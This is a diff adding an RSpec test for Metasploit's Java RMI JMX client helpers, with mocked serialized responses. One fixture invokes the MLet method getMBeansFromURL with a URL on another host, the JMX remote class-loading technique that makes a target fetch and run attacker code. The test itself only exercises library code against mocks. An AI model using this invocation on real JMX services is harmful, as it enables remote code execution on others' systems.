|
| 1 | +# -*- coding:binary -*- |
| 2 | +require 'spec_helper' |
| 3 | + |
| 4 | +require 'rex/java/serialization' |
| 5 | +require 'rex/proto/rmi' |
| 6 | +require 'msf/java/rmi/client' |
| 7 | +require 'stringio' |
| 8 | + |
| 9 | +describe Msf::Java::Rmi::Client::Jmx::Connection do |
| 10 | + |
| 11 | + let(:name_get) { 'DefaultDomain:type=MLet' } |
| 12 | + |
| 13 | + let(:get_object_instance_response) do |
| 14 | + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + |
| 15 | + "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + |
| 16 | + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + |
| 17 | + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + |
| 18 | + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + |
| 19 | + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + |
| 20 | + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + |
| 21 | + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + |
| 22 | + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + |
| 23 | + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + |
| 24 | + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + |
| 25 | + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + |
| 26 | + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + |
| 27 | + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + |
| 28 | + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + |
| 29 | + "\x65\x3d\x4d\x4c\x65\x74\x78" |
| 30 | + end |
| 31 | + |
| 32 | + let(:name_create) { 'javax.management.loading.MLet' } |
| 33 | + |
| 34 | + let(:create_mbean_response) do |
| 35 | + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + |
| 36 | + "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + |
| 37 | + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + |
| 38 | + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + |
| 39 | + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + |
| 40 | + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + |
| 41 | + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + |
| 42 | + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + |
| 43 | + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + |
| 44 | + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + |
| 45 | + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + |
| 46 | + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + |
| 47 | + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + |
| 48 | + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + |
| 49 | + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + |
| 50 | + "\x65\x3d\x4d\x4c\x65\x74\x78" |
| 51 | + end |
| 52 | + |
| 53 | + let(:invoke_args) do |
| 54 | + { |
| 55 | + object: 'DefaultDomain:type=MLet', |
| 56 | + method: 'getMBeansFromURL', |
| 57 | + args: { 'java.lang.String' => 'http:///http://192.168.0.3:8080/nH8rSZGf5WkYF/mlet' } |
| 58 | + } |
| 59 | + end |
| 60 | + |
| 61 | + let(:invoke_response) do |
| 62 | + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + |
| 63 | + "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + |
| 64 | + "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + |
| 65 | + "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + |
| 66 | + "\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + |
| 67 | + "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + |
| 68 | + "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + |
| 69 | + "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + |
| 70 | + "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + |
| 71 | + "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + |
| 72 | + "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + |
| 73 | + "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + |
| 74 | + "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + |
| 75 | + "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + |
| 76 | + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + |
| 77 | + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + |
| 78 | + "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + |
| 79 | + "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + |
| 80 | + "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" |
| 81 | + end |
| 82 | + |
| 83 | + let(:remote_address) do |
| 84 | + '172.16.158.132' |
| 85 | + end |
| 86 | + |
| 87 | + subject(:mod) do |
| 88 | + mod = ::Msf::Exploit.new |
| 89 | + mod.extend ::Msf::Java::Rmi::Client |
| 90 | + mod.send(:initialize) |
| 91 | + mod |
| 92 | + end |
| 93 | + |
| 94 | + let(:io) { StringIO.new('', 'w+b') } |
| 95 | + |
| 96 | + describe "#send_jmx_get_object_instance" do |
| 97 | + context "when the object exists" do |
| 98 | + before(:each) do |
| 99 | + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| |
| 100 | + io.seek(0) |
| 101 | + io.write(get_object_instance_response) |
| 102 | + io.seek(0) |
| 103 | + end |
| 104 | + |
| 105 | + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| |
| 106 | + io.read |
| 107 | + end |
| 108 | + end |
| 109 | + |
| 110 | + it "returns true" do |
| 111 | + expect(mod.send_jmx_get_object_instance(sock: io, name: name_get)).to be_truthy |
| 112 | + end |
| 113 | + end |
| 114 | + end |
| 115 | + |
| 116 | + describe "#send_jmx_create_mbean" do |
| 117 | + context "when the object is created successfully" do |
| 118 | + before(:each) do |
| 119 | + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| |
| 120 | + io.seek(0) |
| 121 | + io.write(create_mbean_response) |
| 122 | + io.seek(0) |
| 123 | + end |
| 124 | + |
| 125 | + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| |
| 126 | + io.read |
| 127 | + end |
| 128 | + end |
| 129 | + |
| 130 | + it "returns true" do |
| 131 | + expect(mod.send_jmx_create_mbean(sock: io, name: name_create)).to be_truthy |
| 132 | + end |
| 133 | + end |
| 134 | + end |
| 135 | + |
| 136 | + describe "#send_jmx_invoke" do |
| 137 | + context "when the remote method is called successfully" do |
| 138 | + before(:each) do |
| 139 | + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| |
| 140 | + io.seek(0) |
| 141 | + io.write(invoke_response) |
| 142 | + io.seek(0) |
| 143 | + end |
| 144 | + |
| 145 | + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| |
| 146 | + io.read |
| 147 | + end |
| 148 | + end |
| 149 | + |
| 150 | + it "returns true" do |
| 151 | + expect(mod.send_jmx_invoke(invoke_args.merge(sock: io))).to be_truthy |
| 152 | + end |
| 153 | + end |
| 154 | + end |
| 155 | + |
| 156 | +end |
| 157 | + |
0 commit comments